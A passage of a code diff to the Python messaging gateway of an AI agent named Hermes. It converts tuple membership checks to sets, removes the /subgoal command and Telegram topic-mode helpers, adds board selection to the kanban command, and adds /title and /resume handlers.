error_code=adapter.fatal_error_code, - error_message=adapter.fatal_error_message, - ) - logger.warning( - "Reconnect %s: non-retryable error (%s), removing from retry queue", - platform.value, adapter.fatal_error_message, - ) - del self._failed_platforms[platform] - else: - self._update_platform_runtime_status( - platform.value, - platform_state="retrying", - error_code=adapter.fatal_error_code, - error_message=adapter.fatal_error_message or "failed to reconnect", - ) - backoff = min(30 * (2 ** (attempt - 1)), _BACKOFF_CAP) - info["attempts"] = attempt - info["next_retry"] = time.monotonic() + backoff - logger.info( - "Reconnect %s failed, next retry in %ds", - platform.value, backoff, - ) + self._update_platform_runtime_status( + platform.value, + platform_state="retrying", + error_code=adapter.fatal_error_code, + error_message=adapter.fatal_error_message or "failed to reconnect", + ) + backoff = min(30 * (2 ** (attempt - 1)), _BACKOFF_CAP) + info["attempts"] = attempt + info["next_retry"] = time.monotonic() + backoff + logger.info( + "Reconnect %s failed, next retry in %ds", + platform.value, backoff, + ) except Exception as e: self._update_platform_runtime_status( platform.value, @@ -5159,12 +5180,12 @@ def _create_adapter( try: _gw_cfg = _load_gateway_config() _raw = cfg_get(_gw_cfg, "display", "platforms", "telegram", "notifications") - if _raw not in (None, ""): + if _raw not in {None, ""}: _notify_mode = str(_raw).strip().lower() except Exception: pass _notify_mode = _notify_mode or "important" - if _notify_mode not in ("all", "important"): + if _notify_mode not in {"all", "important"}: logger.warning( "Unknown telegram notifications mode '%s', " "defaulting to 'important' (valid: all, important)", @@ -5341,7 +5362,7 @@ def _is_user_authorized(self, source: SessionSource) -> bool: # connection, so HA events are always authorized. # Webhook events are authenticated via HMAC signature validation in # the adapter itself — no user allowlist applies. - if source.platform in (Platform.HOMEASSISTANT, Platform.WEBHOOK): + if source.platform in {Platform.HOMEASSISTANT, Platform.WEBHOOK}: return True user_id = source.user_id @@ -5414,12 +5435,12 @@ def _is_user_authorized(self, source: SessionSource) -> bool: # Per-platform allow-all flag (e.g., DISCORD_ALLOW_ALL_USERS=true) platform_allow_all_var = platform_allow_all_map.get(source.platform, "") - if platform_allow_all_var and os.getenv(platform_allow_all_var, "").lower() in ("true", "1", "yes"): + if platform_allow_all_var and os.getenv(platform_allow_all_var, "").lower() in {"true", "1", "yes"}: return True if getattr(source, "is_bot", False): allow_bots_var = platform_allow_bots_map.get(source.platform) - if allow_bots_var and os.getenv(allow_bots_var, "none").lower().strip() in ("mentions", "all"): + if allow_bots_var and os.getenv(allow_bots_var, "none").lower().strip() in {"mentions", "all"}: return True # Discord role-based access (DISCORD_ALLOWED_ROLES): the adapter's @@ -5450,7 +5471,7 @@ def _is_user_authorized(self, source: SessionSource) -> bool: if not platform_allowlist and not group_user_allowlist and not group_chat_allowlist and not global_allowlist: # No allowlists configured -- check global allow-all flag - return os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in ("true", "1", "yes") + return os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in {"true", "1", "yes"} # Telegram can optionally authorize group traffic by chat ID. # Keep this separate from TELEGRAM_GROUP_ALLOWED_USERS, which gates @@ -5745,9 +5766,9 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: raw = (event.text or "").strip() # Accept /approve and /deny as shorthand for yes/no cmd = event.get_command() - if cmd in ("approve", "yes"): + if cmd in {"approve", "yes"}: response_text = "y" - elif cmd in ("deny", "no"): + elif cmd in {"deny", "no"}: response_text = "n" else: _recognized_cmd = None @@ -5829,17 +5850,17 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: _raw_reply = (event.text or "").strip() _cmd_reply = event.get_command() _confirm_choice = None - if _cmd_reply in ("approve", "yes", "ok", "confirm"): + if _cmd_reply in {"approve", "yes", "ok", "confirm"}: _confirm_choice = "once" - elif _cmd_reply in ("always", "remember"): + elif _cmd_reply in {"always", "remember"}: _confirm_choice = "always" - elif _cmd_reply in ("cancel", "no", "deny", "nevermind"): + elif _cmd_reply in {"cancel", "no", "deny", "nevermind"}: _confirm_choice = "cancel" - elif _raw_reply.lower() in ("approve", "approve once", "once"): + elif _raw_reply.lower() in {"approve", "approve once", "once"}: _confirm_choice = "once" - elif _raw_reply.lower() in ("always", "always approve"): + elif _raw_reply.lower() in {"always", "always approve"}: _confirm_choice = "always" - elif _raw_reply.lower() in ("cancel", "nevermind", "no"): + elif _raw_reply.lower() in {"cancel", "nevermind", "no"}: _confirm_choice = "cancel" if _confirm_choice is not None: _resolved = await _slash_confirm_mod.resolve( @@ -5975,7 +5996,7 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: # Semantics: each /queue invocation produces its own full agent # turn, processed in FIFO order after the current run (and any # earlier /queue items) finishes. Messages are NOT merged. - if event.get_command() in ("queue", "q"): + if event.get_command() in {"queue", "q"}: queued_text = event.get_command_args().strip() if not queued_text: return "Usage: /queue " @@ -6048,7 +6069,7 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: # The agent thread is blocked on a threading.Event inside # tools/approval.py — sending an interrupt won't unblock it. # Route directly to the approval handler so the event is signalled. - if _cmd_def_inner and _cmd_def_inner.name in ("approve", "deny"): + if _cmd_def_inner and _cmd_def_inner.name in {"approve", "deny"}: if _cmd_def_inner.name == "approve": return await self._handle_approve_command(event) return await self._handle_deny_command(event) @@ -6079,16 +6100,10 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: # continuation prompt against the current turn. if _cmd_def_inner and _cmd_def_inner.name == "goal": _goal_arg = (event.get_command_args() or "").strip().lower() - if not _goal_arg or _goal_arg in ("status", "pause", "resume", "clear", "stop", "done"): + if not _goal_arg or _goal_arg in {"status", "pause", "resume", "clear", "stop", "done"}: return await self._handle_goal_command(event) return "Agent is running — use /goal status / pause / clear mid-run, or /stop before setting a new goal." - # /subgoal is safe mid-run — it only modifies the active goal's - # checklist, which the judge consults at turn boundaries. There - # is no race with the running turn. - if _cmd_def_inner and _cmd_def_inner.name == "subgoal": - return await self._handle_subgoal_command(event) - # Session-level toggles that are safe to run mid-agent — # /yolo can unblock a pending approval prompt, /verbose cycles # the tool-progress display mode for the ongoing stream. @@ -6097,7 +6112,7 @@ async def _handle_message(self, event: MessageEvent) -> Optional[str]: # /fast and /reasoning are config-only and take effect next # message, so they fall through to the catch-all busy response # below — users should wait and set them between turns. - if _cmd_def_inner and _cmd_def_inner.name in ("yolo", "verbose"): + if _cmd_def_inner and _cmd_def_inner.name in {"yolo", "verbose"}: if _cmd_def_inner.name == "yolo": return await self._handle_yolo_command(event) if _cmd_def_inner.name == "verbose": @@ -6467,9 +6482,6 @@ async def _do_undo(): if canonical == "goal": return await self._handle_goal_command(event) - if canonical == "subgoal": - return await self._handle_subgoal_command(event) - if canonical == "voice": return await self._handle_voice_command(event) @@ -6654,18 +6666,10 @@ async def _do_undo(): except Exception: session_entry = None if session_entry is not None: - # Pull the agent's full messages list from the result - # so the judge can dump it for its read_file tool. - _agent_messages: list = [] - if isinstance(_agent_result, dict): - _msgs = _agent_result.get("messages") - if isinstance(_msgs, list): - _agent_messages = _msgs await self._post_turn_goal_continuation( session_entry=session_entry, source=source, final_response=_final_text, - agent_messages=_agent_messages, ) except Exception as _goal_exc: logger.debug("goal continuation hook failed: %s", _goal_exc) @@ -6731,7 +6735,7 @@ async def _prepare_inbound_message_text( mtype = event.media_types[i] if i < len(event.media_types) else "" if mtype.startswith("image/") or event.message_type == MessageType.PHOTO: image_paths.append(path) - if mtype.startswith("audio/") or event.message_type in (MessageType.VOICE, MessageType.AUDIO): + if mtype.startswith("audio/") or event.message_type in {MessageType.VOICE, MessageType.AUDIO}: audio_paths.append(path) if image_paths: @@ -6800,7 +6804,7 @@ async def _prepare_inbound_message_text( _TEXT_EXTENSIONS = {".txt", ".md", ".csv", ".log", ".json", ".xml", ".yaml", ".yml", ".toml", ".ini", ".cfg"} for i, path in enumerate(event.media_urls): mtype = event.media_types[i] if i < len(event.media_types) else "" - if mtype in ("", "application/octet-stream"): + if mtype in {"", "application/octet-stream"}: _ext = os.path.splitext(path)[1].lower() if _ext in _TEXT_EXTENSIONS: mtype = "text/plain" @@ -7184,7 +7188,7 @@ async def _handle_message_with_agent(self, event, source, _quick_key: str, run_g if isinstance(_comp_cfg, dict): _hyg_compression_enabled = str( _comp_cfg.get("enabled", True) - ).lower() in ("true", "1", "yes") + ).lower() in {"true", "1", "yes"} _raw_hard_limit = _comp_cfg.get("hygiene_hard_message_limit") if _raw_hard_limit is not None: try: @@ -7307,7 +7311,7 @@ async def _handle_message_with_agent(self, event, source, _quick_key: str, run_g _hyg_msgs = [ {"role": m.get("role"), "content": m.get("content")} for m in history - if m.get("role") in ("user", "assistant") + if m.get("role") in {"user", "assistant"} and m.get("content") ] @@ -7671,7 +7675,7 @@ async def _handle_message_with_agent(self, event, source, _quick_key: str, run_g while not _pr.completion_queue.empty(): evt = _pr.completion_queue.get_nowait() evt_type = evt.get("type", "completion") - if evt_type in ("watch_match", "watch_disabled"): + if evt_type in {"watch_match", "watch_disabled"}: _watch_events.append(evt) # else: completion events are handled by the watcher task for evt in _watch_events: @@ -7913,7 +7917,7 @@ async def _handle_message_with_agent(self, event, source, _quick_key: str, run_g status_hint = " You are being rate-limited. Please wait a moment and try again." elif status_code == 529: status_hint = " The API is temporarily overloaded. Please try again shortly." - elif status_code in (400, 500): + elif status_code in {400, 500}: # 400 with a large session is context overflow. # 500 with a large session often means the payload is too large # for the API to process — treat it the same way. @@ -8275,7 +8279,7 @@ async def _handle_whoami_command(self, event: MessageEvent) -> str: policy = _policy_for_source(self.config, source) platform = source.platform.value if source and source.platform else "?" chat_type = (source.chat_type if source else "") or "dm" - scope = "DM" if chat_type.lower() in ("dm", "direct", "private", "") else "group/channel" + scope = "DM" if chat_type.lower() in {"dm", "direct", "private", ""} else "group/channel" user_id = (source.user_id if source else None) or "?" if not policy.enabled: @@ -8329,6 +8333,7 @@ async def _handle_kanban_command(self, event: MessageEvent) -> str: """ import asyncio import re + import shlex from hermes_cli.kanban import run_slash text = (event.text or "").strip() @@ -8338,7 +8343,26 @@ async def _handle_kanban_command(self, event: MessageEvent) -> str: if text.startswith("kanban"): text = text[len("kanban"):].lstrip() - is_create = text.split(None, 1)[:1] == ["create"] + tokens = shlex.split(text) if text else [] + requested_board = None + action = None + i = 0 + while i < len(tokens): + tok = tokens[i] + if tok == "--board": + if i + 1 >= len(tokens): + break + requested_board = tokens[i + 1] + i += 2 + continue + if tok.startswith("--board="): + requested_board = tok.split("=", 1)[1] + i += 1 + continue + action = tok + break + + is_create = action == "create" try: output = await asyncio.to_thread(run_slash, text) @@ -8365,7 +8389,7 @@ async def _handle_kanban_command(self, event: MessageEvent) -> str: if platform_str and chat_id: def _sub(): from hermes_cli import kanban_db as _kb - conn = _kb.connect() + conn = _kb.connect(board=requested_board) try: _kb.add_notify_sub( conn, task_id=task_id, @@ -9193,7 +9217,7 @@ def _resolve_prompt(value): return "\n".join(p for p in parts if p) return str(value) - if args in ("none", "default", "neutral"): + if args in {"none", "default", "neutral"}: try: if "agent" not in config or not isinstance(config.get("agent"), dict): config["agent"] = {} @@ -9345,7 +9369,7 @@ async def _handle_goal_command(self, event: "MessageEvent") -> str: return t("gateway.goal.no_resume") return t("gateway.goal.resumed", goal=state.goal) - if lower in ("clear", "stop", "done"): + if lower in {"clear", "stop", "done"}: had = mgr.has_goal() mgr.clear() try: @@ -9382,83 +9406,6 @@ async def _handle_goal_command(self, event: "MessageEvent") -> str: return t("gateway.goal.set", budget=state.max_turns, goal=state.goal) - async def _handle_subgoal_command(self, event: "MessageEvent") -> str: - """Handle /subgoal for gateway platforms. - - Forms (mirror of CLI): - /subgoal show the checklist - /subgoal append a user item - /subgoal complete | done mark item n completed - /subgoal impossible mark item n impossible - /subgoal undo revert item n to pending - /subgoal remove delete item n - /subgoal clear wipe the checklist - """ - args = (event.get_command_args() or "").strip() - - mgr, _session_entry = self._get_goal_manager_for_event(event) - if mgr is None: - return t("gateway.goal.unavailable") - - if not mgr.has_goal(): - return "No active goal. Set one with /goal ." - - if not args: - return f"{mgr.status_line()}\n{mgr.render_checklist()}" - - tokens = args.split(None, 1) - verb = tokens[0].lower() - rest = tokens[1].strip() if len(tokens) > 1 else "" - - action_status_map = { - "complete": "completed", - "completed": "completed", - "done": "completed", - "impossible": "impossible", - "imp": "impossible", - "skip": "impossible", - "undo": "pending", - "pending": "pending", - "reset": "pending", - } - if verb in action_status_map: - if not rest: - return f"Usage: /subgoal {verb} " - try: - idx = int(rest.split()[0]) - except ValueError: - return f"/subgoal {verb}: must be an integer (1-based index)." - try: - item = mgr.mark_subgoal(idx, action_status_map[verb]) - except (IndexError, ValueError, RuntimeError) as exc: - return f"/subgoal {verb}: {exc}" - return f"✓ Item {idx} → {item.status}: {item.text}" - - if verb == "remove": - if not rest: - return "Usage: /subgoal remove " - try: - idx = int(rest.split()[0]) - except ValueError: - return "/subgoal remove: must be an integer (1-based index)." - try: - removed = mgr.remove_subgoal(idx) - except (IndexError, RuntimeError) as exc: - return f"/subgoal remove: {exc}" - return f"✓ Removed item {idx}: {removed.text}" - - if verb == "clear": - mgr.clear_checklist() - return "✓ Checklist cleared. The judge will re-decompose on the next turn." - - # Otherwise — append `args` as a new user-authored checklist item. - try: - item = mgr.add_subgoal(args) - except (ValueError, RuntimeError) as exc: - return f"/subgoal: {exc}" - idx = len(mgr.state.checklist) if mgr.state else 0 - return f"✓ Added subgoal {idx}: {item.text}" - async def _send_goal_status_notice(self, source: Any, message: str) -> None: """Send a /goal judge status line back to the originating chat/thread.""" adapter = self.adapters.get(source.platform) @@ -9527,7 +9474,6 @@ async def _post_turn_goal_continuation( session_entry: Any, source: Any, final_response: str, - agent_messages: Optional[list] = None, ) -> None: """Run the goal judge after a gateway turn and, if still active, enqueue a continuation prompt for the same session. @@ -9555,11 +9501,7 @@ async def _post_turn_goal_continuation( if not mgr.is_active(): return - decision = mgr.evaluate_after_turn( - final_response or "", - user_initiated=True, - messages=agent_messages or [], - ) + decision = mgr.evaluate_after_turn(final_response or "", user_initiated=True) msg = decision.get("message") or "" # Defer the status line until after the adapter has delivered the @@ -9680,13 +9622,13 @@ async def _handle_voice_command(self, event: MessageEvent) -> str: adapter = self.adapters.get(platform) - if args in ("on", "enable"): + if args in {"on", "enable"}: self._voice_mode[voice_key] = "voice_only" self._save_voice_modes() if adapter: self._set_adapter_auto_tts_enabled(adapter, chat_id, enabled=True) return t("gateway.voice.enabled_voice_only") - elif args in ("off", "disable"): + elif args in {"off", "disable"}: self._voice_mode[voice_key] = "off" self._save_voice_modes() if adapter: @@ -9698,7 +9640,7 @@ async def _handle_voice_command(self, event: MessageEvent) -> str: if adapter: self._set_adapter_auto_tts_enabled(adapter, chat_id, enabled=True) return t("gateway.voice.tts_enabled") - elif args in ("channel", "join"): + elif args in {"channel", "join"}: return await self._handle_voice_channel_join(event) elif args == "leave": return await self._handle_voice_channel_leave(event) @@ -10472,12 +10414,12 @@ def _save_config_key(key_path: str, value): # Display toggle (per-platform) platform_key = _platform_config_key(event.source.platform) - if args in ("show", "on"): + if args in {"show", "on"}: self._show_reasoning = True _save_config_key(f"display.platforms.{platform_key}.show_reasoning", True) return t("gateway.reasoning.display_set_on", platform=platform_key) - if args in ("hide", "off"): + if args in {"hide", "off"}: self._show_reasoning = False _save_config_key(f"display.platforms.{platform_key}.show_reasoning", False) return t("gateway.reasoning.display_set_off", platform=platform_key) @@ -10493,7 +10435,7 @@ def _save_config_key(key_path: str, value): return t("gateway.reasoning.reset_done") if effort == "none": parsed = {"enabled": False} - elif effort in ("minimal", "low", "medium", "high", "xhigh"): + elif effort in {"minimal", "low", "medium", "high", "xhigh"}: parsed = {"enabled": True, "effort": effort} else: return t( @@ -10685,7 +10627,7 @@ async def _handle_footer_command(self, event: MessageEvent) -> str: effective = resolve_footer_config(user_config, platform_key) - if arg in ("status", "?"): + if arg in {"status", "?"}: state = t("gateway.footer.state_on") if effective["enabled"] else t("gateway.footer.state_off") fields = ", ".join(effective.get("fields") or []) return t( @@ -10695,9 +10637,9 @@ async def _handle_footer_command(self, event: MessageEvent) -> str: platform=platform_key, ) - if arg in ("on", "enable", "true", "1"): + if arg in {"on", "enable", "true", "1"}: new_state = True - elif arg in ("off", "disable", "false", "0"): + elif arg in {"off", "disable", "false", "0"}: new_state = False elif arg == "": new_state = not effective["enabled"] @@ -10765,7 +10707,7 @@ async def _handle_compress_command(self, event: MessageEvent) -> str: msgs = [ {"role": m.get("role"), "content": m.get("content")} for m in history - if m.get("role") in ("user", "assistant") and m.get("content") + if m.get("role") in {"user", "assistant"} and m.get("content") ] tmp_agent = AIAgent( @@ -11341,605 +11283,105 @@ async def _restore_telegram_topic_session(self, event: MessageEvent, raw_session response += f"\n\nLast Hermes message:\n{last_assistant}" return response - async def _get_telegram_topic_capabilities(self, source: SessionSource) -> dict: - """Read Telegram private-topic capability flags via Bot API getMe.""" - adapter = self.adapters.get(source.platform) if getattr(self, "adapters", None) else None - bot = getattr(adapter, "_bot", None) - if bot is None or not hasattr(bot, "get_me"): - return {"checked": False} - try: - me = await bot.get_me() - except Exception: - logger.debug("Failed to fetch Telegram getMe topic capabilities", exc_info=True) - return {"checked": False} - - def _field(name: str): - if hasattr(me, name): - return getattr(me, name) - api_kwargs = getattr(me, "api_kwargs", None) - if isinstance(api_kwargs, dict) and name in api_kwargs: - return api_kwargs.get(name) - if isinstance(me, dict): - return me.get(name) - return None - - return { - "checked": True, - "has_topics_enabled": _field("has_topics_enabled"), - "allows_users_to_create_topics": _field("allows_users_to_create_topics"), - } + async def _handle_title_command(self, event: MessageEvent) -> str: + """Handle /title command — set or show the current session's title.""" + source = event.source + session_entry = self.session_store.get_or_create_session(source) + session_id = session_entry.session_id - async def _ensure_telegram_system_topic(self, source: SessionSource) -> None: - """Create/pin the managed System topic after /topic activation when possible.""" - adapter = self.adapters.get(source.platform) if getattr(self, "adapters", None) else None - if adapter is None or not source.chat_id: - return + if not self._session_db: + from hermes_state import format_session_db_unavailable + return format_session_db_unavailable(prefix=t("gateway.shared.session_db_unavailable_prefix")) - thread_id = None - create_topic = getattr(adapter, "_create_dm_topic", None) - if callable(create_topic): + # Ensure session exists in SQLite DB (it may only exist in session_store + # if this is the first command in a new session) + existing_title = self._session_db.get_session_title(session_id) + if existing_title is None: + # Session doesn't exist in DB yet — create it try: - thread_id = await create_topic(int(source.chat_id), "System") + self._session_db.create_session( + session_id=session_id, + source=source.platform.value if source.platform else "unknown", + user_id=source.user_id, + ) except Exception: - logger.debug("Failed to create Telegram System topic", exc_info=True) - if not thread_id: - return + pass # Session might already exist, ignore errors - message_id = None - try: - send_result = await adapter.send( - source.chat_id, - "System topic for Hermes commands and status.", - metadata={"thread_id": str(thread_id)}, - ) - message_id = getattr(send_result, "message_id", None) - except Exception: - logger.debug("Failed to send Telegram System topic intro", exc_info=True) - if not message_id: - return + title_arg = event.get_command_args().strip() + if title_arg: + # Sanitize the title before setting + try: + sanitized = self._session_db.sanitize_title(title_arg) + except ValueError as e: + return t("gateway.shared.warn_passthrough", error=e) + if not sanitized: + return t("gateway.title.empty_after_clean") + # Set the title + try: + if self._session_db.set_session_title(session_id, sanitized): + return t("gateway.title.set_to", title=sanitized) + else: + return t("gateway.title.not_found") + except ValueError as e: + return t("gateway.shared.warn_passthrough", error=e) + else: + # Show the current title and session ID + title = self._session_db.get_session_title(session_id) + if title: + return t("gateway.title.current_with_title", session_id=session_id, title=title) + else: + return t("gateway.title.current_no_title", session_id=session_id) - bot = getattr(adapter, "_bot", None) - if bot is None or not hasattr(bot, "pin_chat_message"): - return - try: - await bot.pin_chat_message( - chat_id=int(source.chat_id), - message_id=int(message_id), - disable_notification=True, - ) - except Exception: - logger.debug("Failed to pin Telegram System topic intro", exc_info=True) + async def _handle_resume_command(self, event: MessageEvent) -> str: + """Handle /resume command — switch to a previously-named session.""" + if not self._session_db: + from hermes_state import format_session_db_unavailable + return format_session_db_unavailable(prefix=t("gateway.shared.session_db_unavailable_prefix")) - async def _send_telegram_topic_setup_image(self, source: SessionSource) -> None: - """Send the bundled BotFather Threads Settings screenshot when available.""" - adapter = self.adapters.get(source.platform) if getattr(self, "adapters", None) else None - if adapter is None or not source.chat_id or not hasattr(adapter, "send_image_file"): - return - image_path = Path(__file__).resolve().parent / "assets" / "telegram-botfather-threads-settings.jpg" - if not image_path.exists(): - return + source = event.source + session_key = self._session_key_for_source(source) + name = event.get_command_args().strip() + + if not name: + # List recent titled sessions for this user/platform + try: + user_source = source.platform.value if source.platform else None + sessions = self._session_db.list_sessions_rich( + source=user_source, limit=10 + ) + titled = [s for s in sessions if s.get("title")] + if not titled: + return t("gateway.resume.no_named_sessions") + lines = [t("gateway.resume.list_header")] + for s in titled[:10]: + title = s["title"] + preview = s.get("preview", "")[:40] + preview_part = t("gateway.resume.list_preview_suffix", preview=preview) if preview else "" + lines.append(t("gateway.resume.list_item", title=title, preview_part=preview_part)) + lines.append(t("gateway.resume.list_footer")) + return "\n".join(lines) + except Exception as e: + logger.debug("Failed to list titled sessions: %s", e) + return t("gateway.resume.list_failed", error=e) + + # Resolve the name to a session ID. + target_id = self._session_db.resolve_session_by_title(name) + if not target_id: + return t("gateway.resume.not_found", name=name) + # Compression creates child continuations that hold the live transcript. + # Follow that chain so gateway /resume matches CLI behavior (#15000). try: - await adapter.send_image_file( - chat_id=source.chat_id, - image_path=str(image_path), - caption="BotFather → Bot Settings → Threads Settings", - metadata={"thread_id": str(source.thread_id)} if source.thread_id else None, - ) - except Exception: - logger.debug("Failed to send Telegram topic setup image", exc_info=True) + target_id = self._session_db.resolve_resume_session_id(target_id) + except Exception as e: + logger.debug("Failed to resolve resume continuation for %s: %s", target_id, e) - def _sanitize_telegram_topic_title(self, title: str) -> str: - """Return a Bot API-safe forum topic name from a generated session title.""" - cleaned = re.sub(r"\s+", " ", str(title or "")).strip() - if not cleaned: - return "Hermes Chat" - # Telegram forum topic names are short (currently 1-128 chars). Keep - # extra room for multi-byte titles and avoid trailing ellipsis churn. - if len(cleaned) > 120: - cleaned = cleaned[:117].rstrip() + "..." - return cleaned + # Check if already on that session + current_entry = self.session_store.get_or_create_session(source) + if current_entry.session_id == target_id: + return t("gateway.resume.already_on", name=name) - async def _rename_telegram_topic_for_session_title( - self, - source: SessionSource, - session_id: str, - title: str, - ) -> None: - """Best-effort rename of a Telegram DM topic when Hermes auto-titles a session.""" - if not self._is_telegram_topic_lane(source) or not source.chat_id or not source.thread_id: - return - - # Skip rename when the topic is operator-declared via - # extra.dm_topics. Those topics have fixed names chosen by the - # operator (plus optional skill binding); auto-renaming would - # silently mutate operator config. - # - # Check the class, not the instance — getattr() on MagicMock - # auto-creates attributes, so `hasattr(adapter, "_get_dm_topic_info")` - # would return True for every test double. - adapter = self.adapters.get(source.platform) if getattr(self, "adapters", None) else None - if adapter is not None: - get_info = getattr(type(adapter), "_get_dm_topic_info", None) - if callable(get_info): - try: - operator_topic = get_info(adapter, str(source.chat_id), str(source.thread_id)) - except Exception: - operator_topic = None - # Only treat dict-shaped returns as operator-declared; a - # bare MagicMock or other sentinel shouldn't count. - if isinstance(operator_topic, dict): - return - - session_db = getattr(self, "_session_db", None) - if session_db is not None: - try: - binding = session_db.get_telegram_topic_binding( - chat_id=str(source.chat_id), - thread_id=str(source.thread_id), - ) - if binding and str(binding.get("session_id") or "") != str(session_id): - return - except Exception: - logger.debug("Failed to verify Telegram topic binding before rename", exc_info=True) - return - - if adapter is None: - return - topic_name = self._sanitize_telegram_topic_title(title) - try: - rename_topic = getattr(adapter, "rename_dm_topic", None) - if rename_topic is not None: - await rename_topic( - chat_id=str(source.chat_id), - thread_id=str(source.thread_id), - name=topic_name, - ) - return - - bot = getattr(adapter, "_bot", None) - edit_forum_topic = getattr(bot, "edit_forum_topic", None) if bot is not None else None - if edit_forum_topic is None: - edit_forum_topic = getattr(bot, "editForumTopic", None) if bot is not None else None - if edit_forum_topic is None: - return - try: - await edit_forum_topic( - chat_id=int(source.chat_id), - message_thread_id=int(source.thread_id), - name=topic_name, - ) - except (TypeError, ValueError): - await edit_forum_topic( - chat_id=source.chat_id, - message_thread_id=source.thread_id, - name=topic_name, - ) - except Exception: - logger.debug("Failed to rename Telegram topic for auto-generated title", exc_info=True) - - def _schedule_telegram_topic_title_rename( - self, - source: SessionSource, - session_id: str, - title: str, - ) -> None: - """Schedule a topic rename from the auto-title background thread.""" - if not title or not self._is_telegram_topic_lane(source): - return - try: - loop = asyncio.get_running_loop() - except RuntimeError: - loop = getattr(self, "_gateway_loop", None) - if loop is None or loop.is_closed(): - return - try: - copied_source = dataclasses.replace(source) - except Exception: - copied_source = source - future = asyncio.run_coroutine_threadsafe( - self._rename_telegram_topic_for_session_title(copied_source, session_id, title), - loop, - ) - def _log_rename_failure(fut) -> None: - try: - fut.result() - except Exception: - logger.debug("Telegram topic title rename failed", exc_info=True) - - future.add_done_callback(_log_rename_failure) - - _TELEGRAM_CAPABILITY_HINT_COOLDOWN_S = 300.0 - - def _should_send_telegram_capability_hint(self, source: SessionSource) -> bool: - """Rate-limit the BotFather Threads Settings screenshot. - - If a user sends /topic repeatedly while Threads Settings are still - off, we shouldn't keep re-uploading the screenshot every time. - """ - if not hasattr(self, "_telegram_capability_hint_ts"): - self._telegram_capability_hint_ts = {} - chat_id = str(source.chat_id or "") - if not chat_id: - return True - import time as _time - now = _time.monotonic() - last = self._telegram_capability_hint_ts.get(chat_id, 0.0) - if now - last < self._TELEGRAM_CAPABILITY_HINT_COOLDOWN_S: - return False - self._telegram_capability_hint_ts[chat_id] = now - return True - - def _telegram_topic_help_text(self) -> str: - return ( - "/topic — enable multi-session DM mode (one bot, many parallel chats)\n" - "\n" - "Usage:\n" - " /topic Enable topic mode, or show status if already on\n" - " /topic help Show this message\n" - " /topic off Disable topic mode and clear topic bindings\n" - " /topic Inside a topic: restore a previous session by ID\n" - "\n" - "How it works:\n" - "1. Run /topic once in this DM — Hermes checks BotFather Threads\n" - " Settings are enabled and flips on multi-session mode.\n" - "2. Tap All Messages at the top of the bot and send any message.\n" - " Telegram creates a new topic for that message; each topic is\n" - " an independent Hermes session (fresh history, fresh context).\n" - "3. The root DM becomes a system lobby — send /topic, /status,\n" - " /help, /usage there. Normal prompts go in a topic.\n" - "4. /new inside a topic resets just that topic's session.\n" - "5. /topic inside a topic restores an old session into it." - ) - - def _disable_telegram_topic_mode_for_chat(self, source: SessionSource) -> str: - """Cleanly disable topic mode for a chat via /topic off.""" - if not self._session_db: - from hermes_state import format_session_db_unavailable - return format_session_db_unavailable() - chat_id = str(source.chat_id or "") - if not chat_id: - return "Could not determine chat ID." - # No-op if never enabled. - try: - currently_enabled = self._session_db.is_telegram_topic_mode_enabled( - chat_id=chat_id, - user_id=str(source.user_id or ""), - ) - except Exception: - currently_enabled = False - if not currently_enabled: - return "Multi-session topic mode is not currently enabled for this chat." - try: - self._session_db.disable_telegram_topic_mode(chat_id=chat_id) - except Exception as exc: - logger.exception("Failed to disable Telegram topic mode") - return f"Failed to disable topic mode: {exc}" - # Reset per-chat debounce state so the user doesn't see a stale - # cooldown on the next activation. - for attr in ("_telegram_lobby_reminder_ts", "_telegram_capability_hint_ts"): - store = getattr(self, attr, None) - if isinstance(store, dict): - store.pop(chat_id, None) - return ( - "Multi-session topic mode is now OFF for this chat.\n\n" - "Existing topics in Telegram aren't removed — they'll just stop " - "being gated as independent sessions. The root DM works as a " - "normal Hermes chat again. Run /topic to re-enable later." - ) - - async def _handle_topic_command(self, event: MessageEvent, args: str = "") -> str: - """Handle /topic for Telegram DM user-managed topic sessions.""" - source = event.source - if source.platform != Platform.TELEGRAM or source.chat_type != "dm": - return "The /topic command is only available in Telegram private chats." - if not self._session_db: - from hermes_state import format_session_db_unavailable - return format_session_db_unavailable() - - # Authorization: /topic activates multi-session mode and mutates - # SQLite side tables. Unauthorized senders (not in allowlist) must - # not be able to do that. Gateway routes already authorize the - # message before reaching here, but defense in depth. - auth_fn = getattr(self, "_is_user_authorized", None) - if callable(auth_fn): - try: - if not auth_fn(source): - return "You are not authorized to use /topic on this bot." - except Exception: - logger.debug("Topic auth check failed", exc_info=True) - - args = event.get_command_args().strip() - - # /topic help — inline usage without leaving the bot. - if args.lower() in {"help", "?", "-h", "--help"}: - return self._telegram_topic_help_text() - - # /topic off — clean disable path so users don't have to edit the DB. - if args.lower() in {"off", "disable", "stop"}: - return self._disable_telegram_topic_mode_for_chat(source) - - if args: - if not source.thread_id: - return ( - "To restore a session, first create or open a Telegram topic, " - "then send /topic inside that topic. To create a " - "new topic, open All Messages and send any message there." - ) - return await self._restore_telegram_topic_session(event, args) - - capabilities = await self._get_telegram_topic_capabilities(source) - if capabilities.get("checked"): - if capabilities.get("has_topics_enabled") is False: - # Debounce the BotFather screenshot: don't re-send on every - # /topic while threads are still disabled. - if self._should_send_telegram_capability_hint(source): - await self._send_telegram_topic_setup_image(source) - return ( - "Telegram topics are not enabled for this bot yet.\n\n" - "How to enable them:\n" - "1. Open @BotFather.\n" - "2. Choose your bot.\n" - "3. Open Bot Settings → Threads Settings.\n" - "4. Turn on Threaded Mode and make sure users are allowed to create new threads.\n\n" - "Then send /topic again." - ) - if capabilities.get("allows_users_to_create_topics") is False: - if self._should_send_telegram_capability_hint(source): - await self._send_telegram_topic_setup_image(source) - return ( - "Telegram topics are enabled, but users are not allowed to create topics.\n\n" - "Open @BotFather → choose your bot → Bot Settings → Threads Settings, " - "then turn off 'Disallow users to create new threads'.\n\n" - "Then send /topic again." - ) - - try: - self._session_db.enable_telegram_topic_mode( - chat_id=str(source.chat_id), - user_id=str(source.user_id), - has_topics_enabled=capabilities.get("has_topics_enabled"), - allows_users_to_create_topics=capabilities.get("allows_users_to_create_topics"), - ) - except Exception as exc: - logger.exception("Failed to enable Telegram topic mode") - return 